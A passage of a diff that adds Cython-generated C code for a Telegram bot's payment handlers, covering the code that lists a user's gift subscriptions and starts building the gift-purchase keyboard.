gift['selected_months'] # <<<<<<<<<<<<<< + * is_used = "" if gift['is_used'] else "" + * recipient = gift['recipient_tg_id'] if gift['recipient_tg_id'] else " " + */ + __pyx_t_2 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_selected_months); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_months); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_months, __pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":63 + * for gift in gifts: + * months = gift['selected_months'] + * is_used = "" if gift['is_used'] else "" # <<<<<<<<<<<<<< + * recipient = gift['recipient_tg_id'] if gift['recipient_tg_id'] else " " + * expiry_time = gift['expiry_time'].strftime("%d-%m-%Y %H:%M") + */ + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_is_used); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_8 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_8 < 0))) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_8) { + __Pyx_INCREF(__pyx_n_u__9); + __pyx_t_2 = __pyx_n_u__9; + } else { + __Pyx_INCREF(__pyx_n_u__10); + __pyx_t_2 = __pyx_n_u__10; + } + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_is_used); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_is_used, ((PyObject*)__pyx_t_2)); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":64 + * months = gift['selected_months'] + * is_used = "" if gift['is_used'] else "" + * recipient = gift['recipient_tg_id'] if gift['recipient_tg_id'] else " " # <<<<<<<<<<<<<< + * expiry_time = gift['expiry_time'].strftime("%d-%m-%Y %H:%M") + * + */ + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_recipient_tg_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_8 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_8 < 0))) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_8) { + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_recipient_tg_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_t_1; + __pyx_t_1 = 0; + } else { + __Pyx_INCREF(__pyx_kp_u__11); + __pyx_t_2 = __pyx_kp_u__11; + } + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_recipient); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_recipient, __pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":65 + * is_used = "" if gift['is_used'] else "" + * recipient = gift['recipient_tg_id'] if gift['recipient_tg_id'] else " " + * expiry_time = gift['expiry_time'].strftime("%d-%m-%Y %H:%M") # <<<<<<<<<<<<<< + * + * gifts_text += ( + */ + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_expiry_time); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_strftime); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_kp_u_d_m_Y_H_M}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_expiry_time); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_expiry_time, __pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":68 + * + * gifts_text += ( + * f" {months} {'' if months == 1 else '' if 2 <= months <= 4 else ''}\n" # <<<<<<<<<<<<<< + * f" : {expiry_time}\n" + * f": {recipient}\n" + */ + __pyx_t_2 = PyTuple_New(11); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_11 = 0; + __pyx_t_12 = 127; + __Pyx_INCREF(__pyx_kp_u__12); + __pyx_t_12 = (1114111 > __pyx_t_12) ? 1114111 : __pyx_t_12; + __pyx_t_11 += 13; + __Pyx_GIVEREF(__pyx_kp_u__12); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u__12); + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_months, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_12; + __pyx_t_11 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u__13); + __pyx_t_11 += 1; + __Pyx_GIVEREF(__pyx_kp_u__13); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u__13); + __pyx_t_8 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_months, __pyx_int_1, 1, 0)); if (unlikely((__pyx_t_8 < 0))) __PYX_ERR(0, 68, __pyx_L1_error) + if (__pyx_t_8) { + __Pyx_INCREF(__pyx_n_u__14); + __pyx_t_3 = __pyx_n_u__14; + } else { + __pyx_t_5 = PyObject_RichCompare(__pyx_int_2, __pyx_cur_scope->__pyx_v_months, Py_LE); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 68, __pyx_L1_error) + if (__Pyx_PyObject_IsTrue(__pyx_t_5)) { + __Pyx_DECREF(__pyx_t_5); + __pyx_t_5 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_months, __pyx_int_4, Py_LE); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 68, __pyx_L1_error) + } + __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely((__pyx_t_7 < 0))) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (__pyx_t_7) { + __Pyx_INCREF(__pyx_n_u__15); + __pyx_t_1 = __pyx_n_u__15; + } else { + __Pyx_INCREF(__pyx_n_u__16); + __pyx_t_1 = __pyx_n_u__16; + } + __pyx_t_3 = __pyx_t_1; + __pyx_t_1 = 0; + } + __pyx_t_1 = __Pyx_PyUnicode_Unicode(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) : __pyx_t_12; + __pyx_t_11 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + PyTuple_SET_ITEM(__pyx_t_2, 3, __pyx_t_1); + __pyx_t_1 = 0; + __Pyx_INCREF(__pyx_kp_u__17); + __pyx_t_12 = (65535 > __pyx_t_12) ? 65535 : __pyx_t_12; + __pyx_t_11 += 13; + __Pyx_GIVEREF(__pyx_kp_u__17); + PyTuple_SET_ITEM(__pyx_t_2, 4, __pyx_kp_u__17); + + /* "handlers/payments/gift.py":69 + * gifts_text += ( + * f" {months} {'' if months == 1 else '' if 2 <= months <= 4 else ''}\n" + * f" : {expiry_time}\n" # <<<<<<<<<<<<<< + * f": {recipient}\n" + * f": {is_used}\n\n" + */ + __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_expiry_time, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) : __pyx_t_12; + __pyx_t_11 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + PyTuple_SET_ITEM(__pyx_t_2, 5, __pyx_t_1); + __pyx_t_1 = 0; + __Pyx_INCREF(__pyx_kp_u__18); + __pyx_t_12 = (65535 > __pyx_t_12) ? 65535 : __pyx_t_12; + __pyx_t_11 += 13; + __Pyx_GIVEREF(__pyx_kp_u__18); + PyTuple_SET_ITEM(__pyx_t_2, 6, __pyx_kp_u__18); + + /* "handlers/payments/gift.py":70 + * f" {months} {'' if months == 1 else '' if 2 <= months <= 4 else ''}\n" + * f" : {expiry_time}\n" + * f": {recipient}\n" # <<<<<<<<<<<<<< + * f": {is_used}\n\n" + * ) + */ + __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_recipient, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) : __pyx_t_12; + __pyx_t_11 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + PyTuple_SET_ITEM(__pyx_t_2, 7, __pyx_t_1); + __pyx_t_1 = 0; + __Pyx_INCREF(__pyx_kp_u__19); + __pyx_t_12 = (65535 > __pyx_t_12) ? 65535 : __pyx_t_12; + __pyx_t_11 += 14; + __Pyx_GIVEREF(__pyx_kp_u__19); + PyTuple_SET_ITEM(__pyx_t_2, 8, __pyx_kp_u__19); + + /* "handlers/payments/gift.py":71 + * f" : {expiry_time}\n" + * f": {recipient}\n" + * f": {is_used}\n\n" # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyUnicode_Unicode(__pyx_cur_scope->__pyx_v_is_used); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) : __pyx_t_12; + __pyx_t_11 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + PyTuple_SET_ITEM(__pyx_t_2, 9, __pyx_t_1); + __pyx_t_1 = 0; + __Pyx_INCREF(__pyx_kp_u__20); + __pyx_t_11 += 2; + __Pyx_GIVEREF(__pyx_kp_u__20); + PyTuple_SET_ITEM(__pyx_t_2, 10, __pyx_kp_u__20); + + /* "handlers/payments/gift.py":68 + * + * gifts_text += ( + * f" {months} {'' if months == 1 else '' if 2 <= months <= 4 else ''}\n" # <<<<<<<<<<<<<< + * f" : {expiry_time}\n" + * f": {recipient}\n" + */ + __pyx_t_1 = __Pyx_PyUnicode_Join(__pyx_t_2, 11, __pyx_t_11, __pyx_t_12); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":67 + * expiry_time = gift['expiry_time'].strftime("%d-%m-%Y %H:%M") + * + * gifts_text += ( # <<<<<<<<<<<<<< + * f" {months} {'' if months == 1 else '' if 2 <= months <= 4 else ''}\n" + * f" : {expiry_time}\n" + */ + __pyx_t_2 = __Pyx_PyUnicode_ConcatInPlace(__pyx_cur_scope->__pyx_v_gifts_text, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 67, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_gifts_text); + __Pyx_DECREF_SET(__pyx_cur_scope->__pyx_v_gifts_text, ((PyObject*)__pyx_t_2)); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":61 + * + * gifts_text = " :\n\n" + * for gift in gifts: # <<<<<<<<<<<<<< + * months = gift['selected_months'] + * is_used = "" if gift['is_used'] else "" + */ + } + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/gift.py":74 + * ) + * + * await callback_query.message.answer(text=gifts_text, reply_markup=builder.as_markup()) # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_text, __pyx_cur_scope->__pyx_v_gifts_text) < 0) __PYX_ERR(0, 74, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_reply_markup, __pyx_t_1) < 0) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L10_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 74, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 74, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/gift.py":42 + * + * + * @router.callback_query(F.data == "my_gifts") # <<<<<<<<<<<<<< + * async def my_gifts_handler(callback_query: types.CallbackQuery, session: Any): + * """ ' '. .""" + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_AddTraceback("my_gifts_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_4gift_8generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/gift.py":77 + * + * + * @router.callback_query(F.data == "gift") # <<<<<<<<<<<<<< + * async def gift_subscription_handler(callback_query: types.CallbackQuery): + * """ ''. .""" + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_4gift_7gift_subscription_handler(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +PyDoc_STRVAR(__pyx_doc_8handlers_8payments_4gift_6gift_subscription_handler, "\320\236\320\261\321\200\320\260\320\261\320\276\321\202\321\207\320\270\320\272 \320\264\320\273\321\217 \320\272\320\275\320\276\320\277\320\272\320\270 '\320\237\320\276\320\264\320\260\321\200\320\270\321\202\321\214'. \320\237\320\276\320\272\320\260\320\267\321\213\320\262\320\260\320\265\321\202 \320\262\320\260\321\200\320\270\320\260\320\275\321\202\321\213 \320\277\320\276\320\264\320\277\320\270\321\201\320\276\320\272."); +static PyMethodDef __pyx_mdef_8handlers_8payments_4gift_7gift_subscription_handler = {"gift_subscription_handler", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_4gift_7gift_subscription_handler, __Pyx_METH_FASTCALL|METH_KEYWORDS, __pyx_doc_8handlers_8payments_4gift_6gift_subscription_handler}; +static PyObject *__pyx_pw_8handlers_8payments_4gift_7gift_subscription_handler(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[1] = {0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("gift_subscription_handler (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 77, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "gift_subscription_handler") < 0)) __PYX_ERR(0, 77, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 1)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + } + __pyx_v_callback_query = values[0]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("gift_subscription_handler", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 77, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.gift.gift_subscription_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_4gift_6gift_subscription_handler(__pyx_self, __pyx_v_callback_query); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_4gift_6gift_subscription_handler(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query) { + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("gift_subscription_handler", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler *)__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 77, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_8generator2, __pyx_codeobj__21, (PyObject *) __pyx_cur_scope, __pyx_n_s_gift_subscription_handler, __pyx_n_s_gift_subscription_handler, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.gift.gift_subscription_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_4gift_8generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + Py_ssize_t __pyx_t_5; + Py_ssize_t __pyx_t_6; + int __pyx_t_7; + int __pyx_t_8; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + Py_ssize_t __pyx_t_12; + Py_UCS4 __pyx_t_13; + PyObject *__pyx_t_14 = NULL; + int __pyx_t_15; + PyObject *__pyx_t_16 = NULL; + PyObject *__pyx_t_17 = NULL; + int __pyx_t_18; + int __pyx_t_19; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("gift_subscription_handler", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L9_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 77, __pyx_L1_error) + + /* "handlers/payments/gift.py":80 + * async def gift_subscription_handler(callback_query: types.CallbackQuery): + * """ ''. .""" + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * + * for months, price in RENEWAL_PRICES.items(): + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + 